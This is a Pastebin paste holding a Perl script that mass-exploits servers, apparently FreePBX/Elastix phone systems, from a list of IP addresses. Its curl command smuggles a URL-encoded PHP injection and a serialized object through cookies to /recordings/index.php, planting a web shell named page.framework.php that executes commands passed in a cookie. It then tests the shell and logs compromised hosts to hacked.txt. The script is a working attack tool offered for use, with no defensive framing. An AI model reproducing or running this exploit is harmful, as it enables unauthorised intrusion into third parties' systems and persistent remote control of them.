Advertisement
Guest User

Untitled

a guest
Aug 26th, 2017
69
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.23 KB | None | 0 0
  1. #!/usr/bin/perl
  2. use LWP::UserAgent;
  3. use HTTP::Cookies;
  4. use Parallel::ForkManager;
  5. use LWP::Simple;
  6.  
  7. if (@ARGV<1){ print "[!] $0 <ip_file> \n"; exit; }
  8. my $efile=$ARGV[0];
  9. my $count=$ARGV[1];
  10. $total = $count;
  11.  
  12. $forkmanager = new Parallel::ForkManager("10000");
  13. open($emailsfile, "<" . $efile);
  14. while (<$emailsfile>) {
  15. $email = $_;
  16. $email =~ s/\x0a//g;
  17. $processid = $forkmanager->start() and next;
  18. subSend($email);
  19. $forkmanager->finish();
  20. }
  21. close($hostfileh);
  22. $forkmanager->wait_all_children();
  23.  
  24. sub subSend {
  25. my($ip) = @_;
  26. my $url = "$ip/recordings/page.framework.php";
  27. #if(head($url)){
  28. #print "Hacked before $url\n";
  29. #exit;
  30. #}
  31. #else{
  32. system("curl -ks -m8 $ip/recordings/index.php --cookie \"ari_lang=%28%29+%7B+%3A%3B%7D%3Bphp+-r+%27set_time_limit%280%29%3Bunlink%28%22page.framework.php%22%29%3Bfile_put_contents%28%22page.framework.php%22%2C+%22%3C%3Fphp+if%28%5C%24_COOKIE%5B%5C%22lang%5C%22%5D%29+%7Bsystem%28%5C%24_COOKIE%5B%5C%22lang%5C%22%5D%29%3B%7Ddie%28%29%3B%3F%3E%22%29%3B%27;ari_auth=O%3A8%3A%22DB_mysql%22%3A6%3A%7Bs%3A19%3A%22_default_error_mode%22%3Bi%3A16%3Bs%3A22%3A%22_default_error_options%22%3Bs%3A9%3A%22do_reload%22%3Bs%3A12%3A%22_error_class%22%3Bs%3A4%3A%22TEST%22%3Bs%3A13%3A%22was_connected%22%3Bb%3A1%3Bs%3A7%3A%22options%22%3Bs%3A3%3A%22123%22%3Bs%3A3%3A%22dsn%22%3Ba%3A4%3A%7Bs%3A8%3A%22hostspec%22%3Bs%3A9%3A%22localhost%22%3Bs%3A8%3A%22username%22%3Bs%3A4%3A%22root%22%3Bs%3A8%3A%22password%22%3Bs%3A0%3A%22%22%3Bs%3A8%3A%22database%22%3Bs%3A7%3A%22trigger%22%3B%7D%7D;elastixSession=716ratk092555gl0b3gtvt8fo7;UICSESSION=rporp4c88hg63sipssop3kdmn2;ARI=b8e4h6vfg0jouquhkcblsouhk0\" --data \"username=admin&password=admin&submit=btnSubmit\" >/dev/null");
  33. my $url = "$ip/recordings/page.framework.php";
  34. if(head($url)){
  35. my $ua = LWP::UserAgent->new(ssl_opts => { verify_hostname => 0 },);
  36. $ua->timeout('8');
  37. my $response = $ua->get($url,
  38. 'Cookie' => 'lang=id');
  39. my $head = $response->as_string();
  40. #print "$head\n\n";
  41. if($head =~ /asterisk/i){
  42. print "Hacked $url\n";
  43. my $filename = 'hacked.txt';
  44. open(OUTPUT,">>$filename");
  45. print OUTPUT "$url\n";
  46. close (OUTPUT);
  47. }
  48.  
  49. }
  50. #}
  51. exit;
  52. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement